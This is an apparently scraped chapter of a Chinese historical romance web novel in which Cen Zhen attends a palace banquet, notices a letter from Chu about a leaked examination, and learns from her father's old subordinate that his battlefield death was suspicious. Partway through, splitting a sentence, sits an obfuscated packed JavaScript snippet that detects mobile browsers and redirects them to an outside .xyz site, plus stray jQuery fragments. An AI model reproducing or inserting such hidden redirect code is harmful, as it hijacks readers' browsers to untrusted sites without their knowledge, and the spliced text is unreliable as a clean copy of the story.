红墙外春雪初融，琼林苑内却暖如仲夏。鎏金铜兽吞吐着龙涎香雾，岑祯跟在禧安身后，本应随她踏入宴厅，但岑祯却突然想起一支珠钗落在了公主寝殿，便返身回去寻找。
待到岑祯找到珠钗，再次返回琼林苑时，却在路上听到有人正小声议论：
“那个岑祯......今天是不是也要来？”
“是啊，听说还是公主请她来的。”
“公主怎么会和她这么要好？以前两个人不是仇人吗？”
“也不知是不是给她下了迷魂药，现在两个人去哪儿都一起！”
“要不是公主，以她在京城的名声，怎么轮得到来琼林宴呢？”
“私底下指不定多巴结公主呢！我等是万万学不来那个做派的！”
岑祯没有刻意掩饰脚步声，只是前面二人讨论的太起劲，此处又有幽竹作为遮挡，故而二人没有发现。
眼看两人的话头越扯越长，岑祯假意咳嗽两声，上前走去。
果然，那两人立时安静下来。
穿粉色圆领百褶裙的姑娘脸蛋尖细，仓皇回头，她身边穿淡黄色褙子的姑娘也紧接着回头看向岑祯来的方向。
妃色云锦裁成的广袖留仙裙逶迤及地，她发间不过一支青玉珠钗，却显得眼前人清丽出俗。
两人表情僵硬，似是背后说人坏话被抓包，倒还算镇定，那个穿粉色衣服的女子率先开口：
“我们两个姐妹说话，没注意身后来了人，失礼了。妹妹看着眼生，是哪家的姑娘？”
岑祯眯着眼睛，笑着看了看这两个人，施施然经过，两个姑娘的目光不由自主地跟着她往前，直到那人在拐角消失，才听见一道清爽的声音传来：
“我姓岑，名祯。”
*
岑祯回到琼林宴上，没有在意路上这个小插曲。
远远地看见坐在席正中的公主朝她招手，示意她坐在她旁边。
满殿珠翠骤然静了一瞬。
岑祯也没跟她客气，径直去了女客的方向，坐在了公主下首。
琼林苑东西两分，女客为一边，中间隔着十几扇屏风，人影绰绰，不少京中贵女都对今日的主角翘首以盼——更多是好奇，听说这位状元郎十分年轻，文采也如此出众，倘若长相得宜，估计便要成了京中女儿们新的心上人了。
过了一会儿，先前那两位女子也入了席。岑祯本没留意，但谈话声传入耳，岑祯听了听，判断出来那位粉红色衣衫的大概是御史中丞家的女儿，黄色衣衫的是户部尚书家的姑娘。
“不是说她长相很丑，性格也怪吗？怎么、怎么这么......”
“之前不也是那些人为了迎合公主，瞎传的吗？谁知道公主变得这么快......可能还没来得及改口径......”
禧安终于忍不住了，冷声问道：“诸位姐妹在聊什么趣事？也让我听听？”
满座噤若寒蝉。
岑祯噗嗤笑出声，拉住禧安的手，示意她不用管。她朝御座旁使了个眼色，禧安立刻会意——今天的主角还没来呢，没必要搅得气氛太尴尬。
岑祯百无聊赖地透过屏风看向另一侧，扫视过去，入目一片人影影绰绰，但却正撞见夔王闵岚执盏的手轻轻放下。他今日罕见地穿了绛紫圆领袍，玉冠将整个人衬得高挑挺拔。
他此刻却望着新科进士席若有所思。
“陛下驾到——皇后娘娘驾到——”
岑祯随众人伏身跪拜，安静的琼林苑此时没有人敢出声，只能听见远远传来的极轻的玉珏相击声。
随后是新科进士入席。
岑祯留意着这一批人，为首的当是新科状元楚淮了。
只见那人身着圆领右衽罗制袍服，头戴黑色巾帽，在一众学子中颇为引人注目。
身后的女客们小声议论起来。
“楚爱卿这篇《止戈策》甚合朕心。”皇帝将酒盏重重搁在案上，“突厥陈兵北境多年，满朝文武主和者众，唯你敢言‘以战止戈’！”
楚淮躬身谢恩，屏风映照出他的身形修长，款款从容。
“你父亲培养出你这样的人才，为我江山社稷，功不可没啊！”
明德帝抚膝大笑，十分愉悦。
岑祯正好奇他父亲是谁，身后的姑娘就小声讨论起来：
“他父亲是谁？”
“他是楚王家的郎君......只不过......”
“不过什么？”
“他......出身不太光彩，大家都不在明面上提这件事。”
“什么不光彩？不会是......”
“他啊，好像是外室所生呢......”
屏风之前，皇帝正和进士们亲切交谈，而身后则是姑娘们叽叽喳喳议论那些新面孔。
就在这时，一个侍卫打扮模样的人悄悄走近了皇帝身边的大太监来福，来福看过他递上来的信件，小心地呈给席上的明德帝。
来福小心地在皇帝身边耳语了几句，皇帝面色骤变，气愤地将信件扔到案前。
琼林苑刚刚还热闹着的众人一下子安静了下来，面面相觑，不知圣上这是何意。
半晌，闵岚躬身上前，拾起了那份信件，仔细阅读后，躬身上前，轻声对圣上说：“陛下息怒，此事还有待调查，臣以为，未必如信件中所言，也许是有小人挑拨。”
“这封信今早直呈御史桌案，现在又直直闹到我眼前，事实究竟如何，我需要一个交代。闵岚，你对楚地熟悉，这封信上所说之事，你去查。无论查到什么，即刻汇报给我。”
“臣领命。”
说罢，皇帝霍然起身，拂袖而去。
席中众人，离得远的尚且还不知发生了什么，离得近的纷纷猜测出了何事。皇后轻声安抚大家，皇上有要务要办，今日宴席不变，大家自便。
岑祯坐在女客这边，也没听清发生了什么。但岑祯眼力好，透过屏风的缝隙，倒是看出皇上手里那封信，信纸纤薄，上有淡绿印花，岑祯略微思索，京中从未见过这种纸张，难道是别地的人呈上？
细细回忆，那花形如蝴蝶展翅，清新雅致，倒不似寻常俗物。
“采芳洲兮杜若，将以遗兮下女。”
岑祯猝然回头，禧安在旁边百无聊赖地吟道。“你也看到那个花了吧，那是杜若，楚辞里提到过的。”
岑祯便一下子觉得这句话耳熟起来，杜若生在楚地，常见于湖泊、池塘旁边，算是楚地特色了。
那这张纸，想必也是楚地的纸了。
岑祯不由抬头去看不远处的新科状元，这批进士里不止他来自楚地，但现下人人交头接耳，他却淡定自若地站在人前，实在是出众，任谁看了都得赞一句“波澜不惊”。
岑祯略一思索，既然皇上不想让大家知道密信的内容，想必是想让人私下去查。而这信纸又偏偏来自楚地，万般线索皆引向楚地，看来，有人比她更急着催她去调查啊。
岑祯莞尔一笑，向禧安道：“公主，我有一事相求。”
*
岑祯接下密信，立即准备出发去楚地查探。
身旁属下问道：“主子，今日圣上震怒，到底是何事？”
“有人密告今科策论试题泄露，涉事者皆与楚地官学有旧。”他撑着头，眼睛盯着马车的角落，眉眼在光影中忽明忽暗，“我现在便是要赴楚地彻查此案，此事事急，皇上已令翰林院一应官职暂缓授予，只等我查明此事，再做打算。”
“那之前派去找岑将军的人手......要不要撤回来？”属下半跪在地，低头询问，久久不闻回答，正要抬头，就听见面前的人说道：
“撤回来吧。随我赴楚。”
*
更漏敲过三更，岑祯闪身进了城南当铺。
这是岑祯第一次在京城联系父亲当年的旧部。
当年父亲战死，旧部拆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15081175|163482||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
散，岑祯也是在偶然中发现了荣叔。那时候他在窑里给人当苦役，岑祯发现之后，立即把荣叔和他的儿子接了出来，令两人留在身边。又趁机先行将荣叔送回，打点好京城里的一切。
当铺里烛影飘飘，四处安静，城南这一带多是铺子和寻常人家，一入夜便没什么动静，静悄悄的。
荣叔正在擦拭一柄陌刀，刀刃映出他浑浊右眼里跳动的烛火：“小姐，你终于来了。”
荣叔算是看着岑祯长大的叔叔，自然知道岑祯的女儿身份。他从小看着岑祯习武，当他听说岑家小子上战场时，内心震惊，他绝没想到岑祯会走如此险招。
再后来，岑父去世，他再在那样的情况下遇到岑祯，荣叔内心更是千言万语道不尽心中苦楚和欣慰。
岑祯三言两语交代了她如今的处境，接着道：“我自受袭之后，便女装暂居在京。如今查到武器与楚地有关，故而我要亲自前往楚地一趟。荣叔，你留意着最近的动向，有事即刻传信于我。”
荣叔的手突然剧烈颤抖，陌刀“哐当”砸在地上。
“祯儿，我本不想说。可你如今查军械一案，牵扯甚广，万分凶险。我只怕我不说，你也会像你父亲一样被、被奸人所害。你可知，当初你父亲的死有蹊跷？”他眼眶湿润，看着岑祯。
岑祯本已打算遮上脸离开，闻言停住脚步，不敢置信地睁大眼睛，“什么？父亲当年......不是战死的吗？”
“确实是战死......但是，那都是旁人为了息事宁人才有的说法。我们这些旧部，这些年被打压的被打压，死的死，散的散。连我都被打发了出去，当年的真相更是早已尘封。”
岑祯突然心里突突地跳，好像有什么重要的事情即将呼之欲出：“荣叔，到底怎么回事？”
“你当年年纪小，边境又远，消息不通。当年，将军察觉军费亏空，正欲上书朝廷，当夜便遭到突厥袭击。我军迎敌而上，突厥骑兵却像早知我军布防......”
“祯儿，一开始我不敢告诉你，现在我告诉你了，我希望你能还你父亲一个公道。”荣叔老泪纵横地扯开衣襟，身上没有一处不是伤痕，这都是他曾经征战沙场的勋章，“你父亲是个好将军，你也是个好将军。岑家从来不愧对任何人，将军他、他不该是那个下场！”
当年岑将军战死的消息传来时，岑家母女二人先是不敢置信，再是不知作何反应。直到岑将军的尸身运回了京城，二人才从崩溃中逐渐接受了这样的事实。
岑祯有相当一段时间没再去学堂，她整日浑浑噩噩，不知昼夜，直到她的母亲劝导她，她才勉强回到了学堂，表面上过回了和之前一样的日子。
但不久后，岑祯便提出要女扮男装替父从军。那时候林与莲一开始不同意，后来经不住岑桢的固执，只好放她去闯。
转眼十年过去，岑祯从不知道父亲当年的死另有隐情。
看着眼前的荣叔，岑祯只觉心中痛苦尤甚，十年了，这个秘密，瞒了她十年。
“祯儿，从前你羽翼未丰，我担心你若执意去查，非但不能保全自己，还平白搭上了自己的性命。如今你羽翼已丰，是能独当一面的大英雄了，你父亲在天之灵，一定感到很欣慰，君子报仇，十年不晚啊。”
岑祯不知道自己是如何走出当铺，又是如何回到家的。恍惚中回过神，只听见零陵的声音：
“小姐，不是带了伞吗？怎么身上还淋湿成这样。哎哟，快去换件衣服，我已经让下人烧水，等会你先泡个澡。”
“零陵，”岑祯突然回过神，眼神聚焦在眼前的清丽的女子身上，零陵是岑父岑母从小从街上捡来的弃婴，见她尚在襁褓之中，如此可怜，便收留了她。
这么多年，岑祯早就把她当作妹妹，岑祯掐着零陵的肩膀，一双眸子在雨夜中锃锃发亮，“零陵，我发誓，我一定会查清楚这个案子的。你相信我吗？我一定会的。”
“我一定会的。”